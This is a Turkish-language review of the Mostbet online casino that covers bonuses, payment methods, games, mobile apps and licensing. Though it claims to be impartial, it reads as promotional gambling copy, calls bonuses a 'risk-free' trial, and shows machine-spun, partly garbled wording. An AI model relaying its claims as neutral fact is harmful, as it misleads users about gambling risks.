Mostbet Casino Hakkında Detaylı İnceleme: Türkiye’deki Casino Severler İçin Kapsamlı ve Tarafsız Rehber

Mostbet Casino Hakkında Detaylı İnceleme: Türkiye’deki Casino Severler İçin Kapsamlı ve Tarafsız Rehber

Online kumar platformları pazarı, son yıllarda Türkiye’de büyük bir ilgiyle karşılanmaktadır. Yaygınlaşan internet bağlantısı, mobil cihazların yaygınlaşması ve oyuncuların konforlu bir deneyim talep etmesi, online casino servislerinin talebini artırmıştır.Bu ortamda öne çıkan isimlerden biri de mostbet giriş.

Mostbet sitesi, küresel bir operatör olan deneyimli bir çevrimiçi bahis ve casino platformudur. 2009’da faaliyete geçen site, hızlı süre içinde küresel kullanıcı kitlesi çekmiştir. Türkiye’de ise son dönemde önemli bir genişleme yaşamıştır. Türk oyuncuların bu siteyi tercih etme nedenlerinden bazıları: Türkçe dil seçeneği, yerel ödeme yöntemleri, ulaşılabilir bonuslar ve mobil uyumluluk.

Türk oyuncular, sadece eğlenceyi değil güvenlik, hız ve erişim kolaylığını da önemser. Mostbet, bu ihtiyaçlara doğrudan yanıt vermeyi hedefleyen, bir yapı sunar. Mostbet, pratik tasarımıyla, hem profesyonel oyuncuları hem de acemi kullanıcıları zahmetsizce ağırlayabilecek, bir yapıya sahiptir.

Bu incelemede, Mostbet’in Türkiye’deki konumunu tarafsızca ele alacağız. Altyapı, oyun portföyü, mobil deneyim, bonus avantajları ve ödeme yöntemleri başlıklarını ayrıntılı olarak inceleyeceğiz. Üye deneyimleri ve rakip platformlarla karşılaştırmaları da detaylandıracağız.

Misyonumuz, Mostbet hakkında objektif detaylı ve öğretici bir içerik sunarak, Türk casino severlerin isabetli kararlar vermesine yardımcı olmaktır. Mostbet’i kullanmak istiyor veya merak ediyorsanız, bu yazı sizin için mükemmel bir kaynak.

Mostbet Casino Özellikleri Genel Bakış

Bu operatör, 2009 yılında, şu anda, küresel ölçekte, hizmet sunan, dünya genelinde, casino ve bahis operatörüdür. Markanın sahibi, Curacao eGaming onaylı, operatör konumundaki Venson LTD’dir. Bu platform, ağırlıklı olarak Avrupa ile Asya ve Bağımsız Devletler Topluluğu bölgesinde, yaygın bir kullanıcı ağına sahiptir. Yakın zamanlarda, Türkiye pazarına yönelimi güçlenmiştir ve Türkiye pazarında etkinlik alanını önemli ölçüde genişletmiştir.

Mostbet markasının temel vizyonu, oyunculara emniyetli, hızlı ve zevkli eğlence alanı sunmaya odaklanmıştır. Zaman içinde, altyapısını modernize eden firma, sadece casino oyunlarıyla sınırlı kalmayıp, ilaveten spor bahisleri, canlı bahis, sanal sporlar ve e-spor hizmetleriyle tanınmıştır.

Türkiye pazarındaki duruşu, son derece belirgindir. Site, Türk oyunculara yönelik arayüz tasarlar ve Türk Lirası yatırım ve çekim desteği verir. Ek olarak, müşteri desteği de Türkçe olarak sunulmakta, yerli kullanıcılar tarafından tercih edilme nedeni olur. Mobil uygulamaları ile mobil uyumlu web sitesi de, genç ve dinamik kullanıcılar için büyük bir avantajdır.

Oyuncu profili analiz edildiğinde, Bu platform, hem yeni başlayanlara hem de deneyimli oyunculara hitap eden geniş bir yelpazeye sahiptir. Çeşitli oyun alternatiflerinin mevcudiyeti, bonus fırsatlarının çekiciliği ve düşük başlangıç yatırım tutarları, değişik profil­lerdeki üyeleri cezbetmektedir. Bunun yanı sıra, sadakat özellikleri, VIP profiline özel fırsatlar sunarak kullanıcı sadakatini yükseltmektedir.

Genel olarak, Operatör, dünya çapındaki deneyimini Türkiye pazarına başarılı biçimde uyarlayan, ve farklı seviye oyunculara uygun çözümler sunan sektörde öne çıkan bir operatördür. Sağlam altyapı ve kullanıcı dostu arayüzüyle, Türk online casino oyuncuları arasında popüler bir tercihtir.

Web Sitesi Tasarımı ve UX

Web arayüz, modern kullanıcı alışkanlıklarına göre oluşturulmuş aktifleştirilmiş ve kullanıcı dostu bir yapıya sahiptir. İlk bakış anında farkedilen şey, arayüz tasarımının basit ve karışıklıktan arınmış olmasıdır. Giriş ekranında, kullanıcıyı sıkmayan bir düzenle, çarpıcı kampanyalar ve kayıt & giriş butonları önde yer alır yer alır. Renk skalası, ağırlıklı olarak mavi ve beyazın kullanıldığı bir tasarım tarzına sahiptir; bu özellikler gözü yormayan, düzgün bir izlenim sağlar.

Menü yapısı açısından, arayüz epey etkileyicidir. Üst menü çubuğunda, Casino, Canlı Casino, Bahis, Canlı Bahis ile Bonuslar başlıkları, açık şekilde sıralanır. Böylece, hedeflenen alana kolayca ulaşabilirler. Sayfanın sol kısmındaki filtreler aracılığıyla, oyunlar sağlayıcı, kategori veya popülerlik kriterine göre düzenlenebilir. Bu yaklaşım, slot oyunları arasında kullanıcıların rahatça dolaşmasını mümkün kılar.

Mostbet’in göze batan fark yaratan bir diğer özelliği, anında açılan sayfalar ve duyarlı tasarım tercih etmesidir. Portal, hem bilgisayar hem de mobil cihazlarda kesintisiz çalışır. Sayfa yüklemeleri hızlıdır ve linkler sorunsuz işler. Bilhassa, düşük bant genişliğine sahip kullanıcılar için önemli bir faydadır. Tarayıcı üzerinde yapılan testlerde, sayfa yanıt süresi sektörün ortalamasının altındadır.

Üyeye özel kolaylıklar arasında, otomatik hesap oluşturma yönlendirmesi, canlı yardım ikonunun tüm sayfalarda sabit olması, ve kişisel panelin sade yapısı öne çıkar. Oyuncular hesap ayarlarında karmaşıklık yaşamaz,; hesap bakiyesi inceleme, promosyon talebi, para yatırma ve oyun geçmişine erişim tek tıklamayla sağlanır.

Hızlı arama çubuğu, büyük bir avantaj sağlar. Belirli oyun, sağlayıcı veya kategori başlıklarını yazdığınızda, anında, sonuçlara erişirsiniz. Ek olarak, promosyonlar ve güncel kampanyalar da, ana sayfanın üst bölümlerinde gösterilmiştir, böylece kullanıcıların ekstra çaba göstermesi gerekmez.

Sonuç olarak, site ara yüzü, profesyonel oyuncular ve yeni katılanlar için erişim kolaylığı ve kullanıcı odaklı deneyim sağlar. Temiz arayüz, pratik navigasyon ve üstün teknik performans, siteyi Türkiye’de öne çıkaran ana faktörlerden biridir.

Mostbet Hesap Açma Rehberi

{Mostbet platformuna üye olmak isteyen kullanıcılar için kayıt süreci oldukça basit ve seri ilerler. Türkiye’deki katılımcıların tanıdık geldiği alışılan üyelik aşamalarını içeren bu süreç, kullanıcı odaklı arayüz sayesinde genellikle hızla sonuçlanmaktadır. Kayıt bölümüne erişim sağladıktan sonra, kullanıcıya iki temel seçenek tanınır: cep telefonu ile kayıt veya mail adresi girerek kayıt. Ayrıca bazı ülkelerde, sosyal ağ hesapları üzerinden hızlı giriş imkanı da sunulabilir.

Telefon numarasıyla kayıt seçeneğinde, üyelerden doğru bir cep telefonu numarası ve belirlediği para birimi yollanır. Türkiye’den kayıt olan oyuncular için Türk Lirası (TRY) ön tanımlama olarak sunulur. E-posta ile kayıt seçeneğinde ise ad, ek ad, elektronik posta adresi, şifre ve ülke bilgileri verilmelidir. Tüm bu bilgiler kontrol edildikten sonra, mekanizma, kullanıcı hesabına onay linki veya mesaj kodu sunar. Bu adım, hesap güvenliğini tesis etmek ve sahtekarlığı engellemek için kritik öneme sahiptir.

Üyelik işlemleri tamamlandığında, kullanıcı profili, aktif hale gelir. Oyuncu, derhal, profiline giriş yaparak, oyunlara ve promosyon fırsatlarına, kullanabilir. Yeni üyeler için, anasayfadan, rehber niteliğinde, bildirimler ve yönlendirmeler, iletirilir. Örneğin, para yüklemek isteyen yeni oyuncular, popüler ödeme kanalları ikonlarıyla, sunulur. Ayrıca, canlı destek penceresi, otomatik şekilde açılıp, yardımcı olmaya hazır bekler.

Kullanıcı deneyimi açısından, platformun üyelik ve ilk giriş deneyimi, epey verimlidir. Formlar minimal ve açıklayıcıdır; lüzumsuz alanlar bulunmaz. Cep telefonuyla erişenler için de, aynı akıcılık ve hız korunmuştur. Cep telefonuyla kayıt yapmak isteyen oyuncular, birkaç tıklamayla hesap açabilirler. Üye kayıt sürecinde kullanıcı, herhangi bir sorun yaşarsa, canlı destek servisi anında hizmet verir ve detaylı yardım sağlar.

Bu aşamada göze çarpan önemli nokta, kayıt anında teklif edilen hoş geldin bonusudur. Kaydını tamamlayan kullanıcıya, casino ve spor bahisleri seçenekleriyle, hoş geldin bonusunu belirleme hakkı verilir. Dolayısıyla, ilk giriş deneyimini daha cazip ve motive edici hâle getirir. Toparlamak gerekirse, Mostbet hesap açma adımları pratik ve anlaşılırdır, ve Türkiye’deki oyuncuların beklentilerini karşılayacak şekilde tasarlanmıştır.

Casino Oyunları ve Sağlayıcı İş Ortakları

Mostbet platformu, kapsamlı oyun koleksiyonuyla, yeni üyelerden profesyonel oyunculara kadar uzanan kapsamlı bir eğlence platformudur. Platformdaki oyun seçenekleri, çeşitli başlıklar altında düzenlenmiş durumda, kullanıcıların tercihlerine göre kolaylıkla erişim sağlanabilir. Video slotlardan canlı casino masalarına, büyük ikramiyeli jackpotlardan dinamik crash oyunlarına kadar sayısız alternatif bulunur.

Çevrim içi slotlar, Platformun en zengin portföy sağladığı kategoridir. Kapsamlı değişik grafik temasında kullanıma açık video slotlar, sade mekanikleri ve etkileyici görsellerle fark yaratır. eski tip 3 makaralı slotlar dışında, esnek hatlı Megaways, bonuslu slotlar ve yüksek volatilite slotlar da kullanıma açıktır. Bu çeşitlilik durumu,, çeşitli stratejik tercihleri kolayca uygulamayı sağlar.

Masa oyunları kategorisinde ise rulet, blackjack, poker ve baccarat masalarının hem dijital versiyonları hem de canlı krupiye destekli versiyonları sunulur. Live Casino bölümünde özellikle gerçek krupiyelerle iletişim kurmayı sağlayan oyunlar, Türkiye’deki kullanıcılarca yoğun ilgi görür.

Hızlı yükselen oyunlar, son yıllarda büyük ilgi görmektedir. Aviator başta olmak üzere sade yapılı ve büyük kazanç ihtimali sunan oyunlar, mobil oyuncu kitlesi arasında sıkça tercih edilir. Bu kategorideki oyunlar, tempolu kurgusuyla fark yaratır ve küçük bahislerle büyük kazanç fırsatı sunar.

Oyun kalitesini belirleyen en önemli faktörlerden biri de, altyapı sağlayıcı firmalardır. Bu operatör, en iyi oyun üreticileriyle iş birliği sürdürür. En bilinen oyun sağlayıcıları olarak, Pragmatic Play, NetEnt, Microgaming, Evolution Gaming, Playson, Betsoft ve Play’n GO gibi isimler öne çıkar. Bu yazılım sağlayıcıları, üstün görseller, kesintisiz performans ve adil oyun yazılımlarıyla, kullanıcı güvenini sağlar.

Üstelik, oyun sağlayıcı filtreleme seçeneği sayesinde, platform üyeleri, sadece sevdikleri markaların oyunlarını listeleyebilirler. Örnek olarak, NetEnt oyunlarını listelemek isteyen kullanıcı, filtre paneli üzerinden kolayca listeleme yapabilir.

Neticede, site, geniş oyun portföyü ve güçlü yazılım ortakları ile, Türk oyunculara çeşitli ve doyurucu bir oyun ortamı sunar. Eğlence odaklı oyuncular ve kazanç isteyen bahisçiler için, çeşitli alternatifler mevcuttur.

Canlı Oyun Masaları Deneyimi

Mostbet sitesinin canlı casino kısmı, otantik bir casino deneyimi arayan oyuncular için, özellikle kurgulanmıştır. Platformun en dikkat çekici özelliklerinden biri, canlı krupiye ile oynanan masa oyunlarının çeşitliliği ve kalitesidir. Canlı krupiyelerin idaresindeki bu oyunlar, HD kalitesinde canlı yayınlarla sunulur ve oyunculara ev konforunda gerçek casino deneyimi yaşatır.

Sunulan oyunlar arasında, en çok tercih edilenler canlı rulet, blackjack, bakara ve pokerdir. Buna ek olarak, game show formatındaki canlı içerikler de çok popülerdir. Bu seçenekler içinde, Crazy Time, Dream Catcher, Monopoly Live gibi hızlı tempolu oyunlar popülerdir. Bu oyun formatları, özellikle mobil kullanıcılar ve genç oyuncuların ilgisini çeker.

Canlı casino bölümü, sektörün lider sağlayıcıları olan Evolution Gaming, Ezugi ve Pragmatic Play Live gibi şirketler tarafından desteklenmektedir. Bu firmalar sayesinde, oyunlar sorunsuz, HD kalitede aktarılır. Masa krupiyeleri deneyimli ve eğitimlidir; kurallara hakimdir ve gerektiğinde oyuncularla akıcı diyalog kurarlar. Masa seçeneklerinde farklı dil opsiyonları bulunsa da, İngilizce krupiyeler en yaygın olanıdır. Türkçe dil desteği sunan masalar henüz azdır, özel kampanyalar sırasında açılabilir.

Kullanıcı memnuniyeti perspektifinden bakıldığında, canlı casino bölümü sade bir arayüzle sunulur. Üyeler, bahis limitleri, oyun türü veya sağlayıcı filtresi uygulayabilir. Her masanın minimum ve maksimum bahis tutarı açıkça belirtilir, böylece her seviyeden oyuncu rahat seçim yapar.

Mobil kullanım için optimize edilmiş canlı casino sekmesi, hem dikey hem yatay ekran modunda sorunsuz çalışır. Bu da, seyahatteyken canlı masalara erişmek isteyen kullanıcılar için, büyük bir avantajdır.

Toparlamak gerekirse, Mostbet’in canlı yayın masaları, yüksek çözünürlüklü yayınları, prestijli sağlayıcıları ve kapsamlı masa portföyüyle, Türkiye’deki oyunculara gerçekçi ve tatmin edici bir deneyim sunar. Gerçeğe yakın ortamı ve canlı iletişimiyle, hem şans hem stratejiye önem veren oyuncuların beklentilerini tam anlamıyla karşılar.

Mostbet Mobil Erişim ve Uygulama Özellikleri

Son yıllarda, mobil araçlarla online casino keyfi yaşamak, masaüstü kullanımı yer yer geride bırakacak kadar yaygınlaşmıştır. Dolayısıyla, Mostbet mobil kullanıcı odaklı bir yaklaşım geliştirerek başarılı bir mobil altyapı oluşturmuştur. Hem mobil uyumlu web sitesi hem de uygulama seçenekleri, Türkiye pazarında hızlı ve problemsiz oyun deneyimi sağlar.

Mobil web platformu, masaüstü arayüzle uyumlu bir yapıdadır. Sayfa geçişleri hızlıdır, menüler karmaşadan uzaktır ve kategorilere erişim hızlıdır. Kayıt olma, giriş yapma, bakiye yükleme ve kampanya alma adımları, tek adımda gerçekleşir. Mobil tasarım iOS ve Android’de eksiksiz çalışır ve farklı ekran boyutlarına otomatik olarak uyum sağlar. Bu imkan, bilgisayara az erişen ya da sık seyahat edenler için, önemli bir tercih sebebidir.

Mostbet ayrıca iOS ve Android için uygulamalar hazırlamıştır. Android uygulaması doğrudan Mostbet’in resmi web sitesinden indirilebilirken, iOS uygulaması Apple Store’da bulunabilir. Mobil uygulamalar açık ve pratik bir arayüz barındırır ve oyuncuların casino ve bahis alanlarına anında ulaşmasına imkan tanır. App kullanılarak işlemler daha hızlı tamamlanır ve kullanıcı etkileşimi daha akıcıdır.

Mobil uygulama üzerinden canlı masa oyunlarına erişmek, slot makinelerinde oynamak, bonusları incelemek ve hesabı yönetmek zahmetsizdir. Uygulamada bildirim gönderim desteği bulunur; bu yolla oyuncular özel promosyonları ve bonus fırsatlarını hemen fark eder. Bu, kullanıcı bağlılığını yükselten başlıca avantajlardan biridir.

Hız ve işlem kalitesi açısından değerlendirildiğinde, üyeler düşük veri kullanımı ve yüksek işlem hızı nedeniyle uygulamayı beğenmektedir. Mostbet’in Android ve iOS uygulamaları, zayıf internet bağlantısında bile kararlı çalışacak şekilde tasarlanmıştır.

Özetle, Mostbet sitesi, mobil oyunculara oldukça kullanışlı ve erişilebilir bir sistem sağlar. Web versiyonu ve mobil uygulama kombinasyonuyla, kullanıcılar her yerden kesintisiz oyun keyfi yaşayabilir. Bu da Mostbet’i mobil oyuncular için cazip ve rekabetçi bir tercih hâline getirir.

Mostbet Bonusları ve Promosyon Seçenekleri

Bu platform, bonus kampanyaları ve promosyon teklifleriyle, Türkiye pazarında öne çıkan alternatiflerden biridir. Yalnızca yeni kayıtları önemsemez, mevcut kullanıcıları da düzenli promosyonlarla motive eder. Bonus çeşitleri casino ile spor bahislerine ayrılmıştır ve oyuncular alan tercihine göre bonuslarını belirler.

Yeni kayıt olanlar için en dikkat çekici bonus, karşılama kampanyasıdır. Casino bölümüne özel hazırlanan bu teklif çerçevesinde, ilk yatırım ile yatırılan bakiyenin %100’üne kadar bonus ve ekstra free spin sağlanır. Bu teklif, üyelerin platformu risksiz şekilde test etmesini sağlar.

Bunun dışında mevcut oyuncular için de düzenli olarak birçok bonus kampanyası mevcuttur. Bu avantajlar hem sadakat hem de kısa süreli teşvik promosyonları olarak tanımlanır. İşte Mostbet platformunda sıkça karşılaşılan bonus ve promosyon türleri:

Bonus ve Promosyon Listesi:

  • İlk Yatırım Bonusu: İlk yatırımda yatırılan tutarın iki katı kadar bonus ve ücretsiz dönüş
  • Ücretsiz Dönüşler: Seçili slot oyunlarında günlük ya da haftalık olarak sunulur
  • Yatırım Bonusu: Haftanın belirli günlerinde yapılan yatırımlarda %50’ye kadar ekstra bakiye
  • Kayıp Bonusu: Kayıpların bir kısmının oyuncuya geri ödendiği promosyonlar
  • Birthday Bonusu: Oyuncuların doğum günlerinde ücretsiz hediye bakiyeler veya dönüşler
  • Yarışma Ödülleri: Slot turnuvalarına katılan oyuncular için nakit ödüller veya bonus puanlar
  • Referans Bonusu: Yeni üye getiren oyuncular için bonus fırsatı

Bu kampanyalar, üyelerin hesap panelindeki “Bonuslar” bölümünden takip edilebilir ve her promosyonun geçerli olma kuralları ve çevrim gereksinimleri belirtilmiştir. Bonusun aktif hale gelmesi için belli bir asgari yatırım gereklidir ve çevrim işlemlerinin süre kısıtlaması içinde tamamlanması beklenir. Mostbet, bonus kurallarını açık bir dille sunar ve oyuncuların promosyonları karıştırmaması için bilgilendirme desteği sunar.

Buna ek olarak, VIP kullanıcılar için ekstra promosyonlar ve bir sadakat sistemi sunulur. Üyeler site aktiviteleriyle puan toplayıp üst bonus seviyelerine ulaşabilirler.

Kısaca, Mostbet’in bonus ve promosyon yapısı hayli geniştir ve Türkiye’deki kullanıcılar için lokal promosyonlarla desteklenir. Bu yaklaşım, platformun yeni kullanıcı kazandırma kadar mevcut oyuncuları tutma stratejisini de iyi uyguladığını gösterir.

Para İşlemleri ve Yatırım Çekim Opsiyonları

Mostbet markası, Türkiye’deki oyunculara erişilebilir ve hızlı ödeme çözümleri sağlar. Site klasik bankacılık ve çağdaş dijital cüzdan seçenekleriyle ödeme imkanı tanır. Bu geniş yelpaze, oyuncuların en rahat ettiği yöntemi kullanmasına olanak tanır.

Türkiye’deki Türk Lirası (TRY) bulundurulması büyük bir üstünlüktür. Kurlardaki dalgalanmalardan etki almadan hareket yapmak, casino severlerin mali durumunu daha iyi yönetmesini sağlar. Para transferleri büyük ölçüde derhal tamamlanır; ödeme talepleri ise kullanılan araca bağlı şekilde dakikalar içinde veya birkaç saat içinde bitirilir.

Aşağıdaki, Türkiye pazarında en yaygın başvurulan ödeme çözümlerine üzerine kısa açıklamaları bulabilirsin:

Para Transfer Aracı Yatırma İşlemi Para Çekme Bitme Süresi Minimum Meblağ
Kartla Ödeme Yer Alıyor Aktif Değil Hemen 50₺
Papara Sunuluyor Yer Alıyor yaklaşık 5-30 dk. 100 TL Alt Limit
Dijital Para (Bitcoin) Var Kullanılabilir 15-60 dakika En az 250 TL
Jeton Wallet Bulunuyor Aktif Süratle / 30-60 dk. 50 TL
Banka Transferi Mevcut Aktif 1-3 saat arası En az 200 TL
QR Kod Yöntemi Kullanılabilir Aktif Değil Süratle 20 TL Alt Limit

Mostbet platformu, farklı periyotlarda, bazı finansal yöntemlere spesifik fırsatlar da sağlar. Bu nedenle yatırma adımı öncesinde, aktif avantajları takip etmek, kullanıcılar için önem taşır.

Bakiye çekim aşamalarında güvenli işlem yapmak için doğrulama aşaması başlatılabilir. Bilhassa ilk para çekme talebinde bulunan bahisçilerin kimlik belgelerinin ibrazı yapması istenebilir. Bu prosedür, hem hesapların korunmasını güçlendirmek hem de kötüye kullanımı durdurmak amacıyla zorunlu bir aşamadır.

Genel itibarıyla, Mostbet dijital platformu, ödeme işlemleri konusunda erişilebilir bir sistem sunmaktadır. Çeşitli yöntemlerin mevcut olması, makul minimum tutarlar ve anında gerçekleşen süreçler, Mostbet’i Türk pazarındaki oyuncular için cazip bir hale getirmektedir.

Hesap güvenliği, Lisanslama ve Gizlilik Kuralları

Dijital casino ortamını seçerken, üyelerin ön planda tuttuğu konuların ilk sıralarında lisans durumu ve güvenlik önlemleri ön plana çıkar. Mostbet, bu konuda uluslararası standartlara uygun olarak hizmet veren, lisanslı bir casino sitesidir. Casino severlerin kişisel ve finansal bilgilerini güvence altına almak adına ciddi güvenlik önlemleri devreye sokmaktadır.

Mostbet dijital platformu, Curaçao eGaming yetkisiyle aktif olmaktadır. Bu yetki belgesi, global ölçekte tanınan bir denetleyici kurum tarafından ihdas edilir ve Mostbet’in devamlı kontrol edildiğini belirtir. Curacao resmi lisansı, özellikle global ölçekte hizmet veren çok sayıda büyük operatörün de sahip bulunduğu, hukuki bir temele belirtir. Mostbet’in elindeki bu resmî belge, platform kullanıcılarına oyunların eşit şekilde ilerlediği ve kazançların kurallara uygun şekilde ödendiği noktasında güvence sunar.

Güvenlik boyutunda, Mostbet’in tüm cihaz versiyonları, Secure Socket Layer altyapısı ile güvence altına alınmaktadır. Bu altyapı, oyuncuların sağladığı kimlik ve finansal bilgilerin kötü niyetli kullanıcılarca kopyalanmasını engellemekte etkili olur. Ayrıca, bütün para transferleri korumalı sistemler vasıtasıyla işlenir ve üyelerin verileri, şüpheli erişimlere karşı modern güvenlik protokolleriyle korunmaktadır.

Kullanıcı verilerinin korunması da, Mostbet platformunun temel hassasiyetlerinden biridir. Mostbet’in gizlilik beyanı, oyuncuların kişisel bilgilerinin yalnızca deneyim kalitesini yükseltmek amacıyla saklandığını ve harici sistemlerle paylaşılmadığını açık biçimde beyan eder. Bu üyelik bilgileri, mevzuat gereği olmadıkça aktarılmaz ve ticari tanıtım ya da reklam için izinsiz olarak faydalanılmaz. Kullanıcılar, gerektiğinde kişisel bilgilerini güncelleyebilir veya hesaplarını devre dışı bırakabilir.

Bunun yanı sıra, yetkisiz girişlerin engellenmesi için iki kademeli güvenlik sistemi kullanıcı tercihine bağlıdır. Bu yöntem, kullanıcı hesabına erişim sırasında ek güvenlik şifresi istektir ve bu sayede şifre ifşa olsa bile hesap korunmaya devam eder.

Özetle, Mostbet platformu, Curacao lisansı, şifreleme teknolojisi ve belirgin gizlilik politikalarıyla oyunculara güvenli bir kullanım alanı hizmete açar. Türkiye’deki oyuncular, bu güvenli altyapı sayesinde, içleri rahat şekilde hizmet alabilir, para yatırıp çekebilir ve bilgilerinin korunacağından emin olarak hizmetlerden faydalanabilir.

Destek Departmanı ve Üye Destek Hizmetleri

Mostbet dijital platformu, kullanıcı deneyimini yalnızca sunulan oyun seçenekleriyle sınırlı tutmayarak, aynı zamanda destek sistematiğiyle de yüksek düzeyde sağlamayı amaçlamaktadır. yerel platform kullanıcıları için, müşteri destek süreçlerinin süratli olması, kolay erişim imkanı ve sorun çözme becerisi önem arz eder. Mostbet, müşteri ilişkileri alanında, etkili ve düzenli bir müşteri desteği sağlar.

Site genelinde meydana gelebilecek her çeşit problem veya bilgi talebi için sürekli erişilebilir bir müşteri hizmetleri departmanı aktiftir. Destek hizmetlerine ulaşmanın en kolay ve pratik yöntemi, sayfanın alt kısmında kesintisiz erişilebilir canlı destek modülüdür. Bu live chat servisi, anında cevap verebilir ve ilk etapta problemi giderir. Oyuncular, en basit sorulardan yatırım veya çekim sorunlarına dek yardım isteyebilirler.

Genel hizmet standartları dikkate alındığında, platform müşteri desteği hem teknik donanıma hem de iletişim tecrübesine sahiptir. yerel oyuncular için Türkçe iletişim desteği verilmesi, Türk bahis severlerin anlama sorunu olmadan sorunsuz iletişim kurmasına yardımcı olur. Ayrıca, destek temsilcileri, oldukça saygılı, yetkin ve anlayışlı tavırlarıyla güzel bir izlenim oluşturur.

Cep telefonu ve tablet kullanıcıları için de, yardım almak zahmetsizdir. Cep tarayıcı veya uygulama sayesinde anlık destek kullanılabilir ve masaüstündeki hizmet standardı devam eder. Bu da dışarıda olunmasına rağmen yardım talebini mümkün kılar.

Sonuç olarak, Mostbet destek departmanı, hem hızlı tepkisi hem de sürekli erişilebilirliğiyle, Türkiye pazarındaki oyuncuların gereksinimlerini karşılayan bir sisteme sahiptir. Her seviyeden oyuncular için, iç rahatlığı oluşturan, sorun gideren ve devamlı bir destek hizmeti sunmaktadır.

Mostbet dijital casinonun Artıları ve Eksileri

Genelde tüm online platformlarda görüldüğü gibi, Mostbet’in de pozitif tarafları olduğu kadar eksik kalan tarafları da mevcuttur. Türkiye pazarına sunduğu hizmetler çoğunlukla kullanıcı dostu, çeşitli ve sağlamdır; ancak kimi oyuncular açısından önem taşıyan eksikler mevcut olabilir. Bu nedenle oyuncuların hesap açmadan önce olumlu ve olumsuz tarafları bilmesi faydalı olacaktır.

Platformun sağladığı gelişmiş hizmet kalitesi ve teknik donanımı sayesinde, Türkiye pazarında geniş bir oyuncu kitlesi tarafından seçilmesi şaşırtıcı değildir. Zengin bonus fırsatları, oyun çeşitliliği, esnek para yatırma ve çekme seçenekleri ve mobil kullanım esnekliği, kullanıcıların platformu tercih etme oranını yükseltmektedir. Öte yandan, zaman zaman ortaya çıkan kısıtlamalar da eleştirilere yol açabilmektedir.

Aşağıda, Mostbet online casinonun temel avantajları ve dezavantajları açıklanmıştır:

Artılar

  • Farklı oyun alternatifleri: Slot makineleri, canlı masa oyunları, crash ve spor bahisleri gibi kategoriler tek sitede.
  • Curacao lisans sertifikası ile hukuki ve denetlenen bir sistem sunması.
  • Yerel ödeme çözümleri (Papara cüzdan, Jeton cüzdan, banka havalesi/EFT gibi).
  • Mobil dostu internet sitesi ve Android/iOS mobil uygulamaları ile mobil kullanım kolaylığı.
  • Yeni kullanıcılar ve aktif üyeler için düzenli bonus kampanyaları.
  • Hızlıca hesap oluşturma ve kolay kullanılabilir platform.
  • Sürekli canlı yardım ve Türkçe yardım servisi.

Olumsuz Yönler:

  • Türkçe dil desteği olan canlı masa oyunlarının az sayıda bulunması.
  • İlk kazanç çekimlerinde hesap doğrulama aşamaları süreç uzayabilir.
  • Bazı oyun sağlayıcılarının Türkiye’de erişime kapalı olması.
  • Promosyon çevrim şartları yer yer detaylı olabilir.
  • Müşteri destek birimi yüksek trafik dönemlerinde sıraya alabilir.

Genel değerlendirme yapıldığında, Mostbet sitesinin artıları olumsuzluklarını ikinci plana itmektedir. Türkiye pazarındaki oyuncular için, yerelleştirilmiş hizmetler ve mobil kullanım esnekliği, platformu popüler kılmaktadır. Ancak kişiye özel bonuslar ve Türk pazarına uygun oyun seçenekleri gibi belirli iyileştirmeler uygulanırsa, kullanıcı memnuniyeti daha da üst seviyeye çıkabilir.

Sorumlu Bahis Politikası ve Kullanıcı Güvenlik Araçları

Mostbet operatörü, yalnızca oyun deneyimi yaşatmayı değil, aynı zamanda kullanıcıların zihin sağlığını da korumayı hedefleyen bir platformdur. Bu doğrultuda sürdürdüğü sorumlu bahis stratejileri, üyelerin sorumlu şekilde bahis yapmaları için bir farklı güvenlik ve bilgilendirme adımı bulundurur. Online kumar sitelerinde riskli oyun davranışlarını önlemek adına operatör, kullanıcılarına çeşitli yardım ve sınırlandırma araçları hizmete açmaktadır.

Bilinçli oyun politikası, ilk adımda bilgilendirme ile başlar. Mostbet, bahis severleri, bahislerin şans faktörüne dayandığı ve sürekli kazancın garanti edilmediği konusunda belirtir. Her oyun ekranında, kampanya detaylarının altında ve yardım bölümlerinde bilgilendirici mesajlar devamlı yayınlanır. Bunun yanı sıra, Mostbet’in “Sorumlu Oyun” alanında, kontrolsüz oyun davranışlarının sinyalleri üzerine ayrıntılı açıklamalar yayınlanmaktadır.

Kullanıcı güvenlik araçları içinde en dikkat çekici olanlardan biri, oyun zamanı ve harcama sınırı koyma aracıdır. Platform kullanıcıları, istedikleri takdirde hesap tercihlerinden oyun zamanı ve yatırım limiti tanımlayabilirler. Belirli süre veya miktar aşıldığında, otomatik bildirim oluşturulur ve gerekli durumlarda giriş kısıtlaması uygulanabilir. Bu kontrol aracı, dengeyi sağlamakta güçlük çeken oyuncular için çok değerli bir önlemdir.

Ayrıca, kullanıcılar, tercih ederlerse üyeliklerini geçici askıya alma veya kalıcı silme imkanına de erişim sağlayabilir. Bu tür kapatma işlemleri, müşteri hizmetleri veya e-posta kanalıyla süratle iletilebilir. Mostbet casino, bu sonlandırma isteklerini kişisel verileri koruyarak dikkate alır ve istekleri hızla sonuçlandırır.

Mostbet platformu, aşırı oyun eğiliminde olan üyeleri zamanında tanımlamak için, akıllı davranış takip sistemleri de hayata geçirmektedir. Örneğin, normalin üzerinde sıklaşan bahisler ya da ani büyük kayıplar, platform sistemi tarafından takip edilir ve sistem gerekli görürse, kullanıcıya uyarılar gönderilir. Bu tür erken uyarı çözümleri, oyun süre ve frekansının dengelenmesine olanak tanır.

Genel bakışla, Mostbet casino, oyuncu sağlığını önceliklendiren ve kullanıcı güvenliğini kazançtan daha önemli sayan bir etki bırakmaktadır. yerel oyuncuların, koruma mekanizmalarına kolayca ulaşabilmesi, platformun saygınlığını destekleyen önemli bir faktördür.

Oyuncu Geri Bildirimleri ve Memnuniyet Düzeyi

Online casino kalitesi, yalnızca teklif ettiği çözümlerle değil, aynı zamanda oyuncu yorumlarıyla da değerlendirilir. Mostbet hakkında yapılan yorumlar ve genel deneyim memnuniyeti, Mostbet’in küresel ve yerel düzeydeki pozisyonunu daha net anlamak için önemli veriler sunar. Kullanıcı forumları, sosyal medya grupları, kullanıcı puanlama sayfaları ve video kanallarındaki kullanıcı yorumları, platformun güçlü ve eksik yönlerini sergilemektedir.

Toplamda, oyuncu memnuniyeti oldukça yüksektir. Daha çok, oyun çeşitliliği, hızlı ödeme işlemleri, mobil uyumluluk ve promosyon teklifleri gibi konular çoğunlukla övgüyle anılmaktadır. Platform üyeleri, çok çeşitli slot makineleri, canlı masa alternatifleri ve anlaşılır site yapısı sayesinde siteyi uzun süre kullandıklarını ifade etmektedir. İlk kez deneyimleyenler de, ilk kayıt ve fon yatırma adımlarının pratik gerçekleştiğini ifade etmektedir.

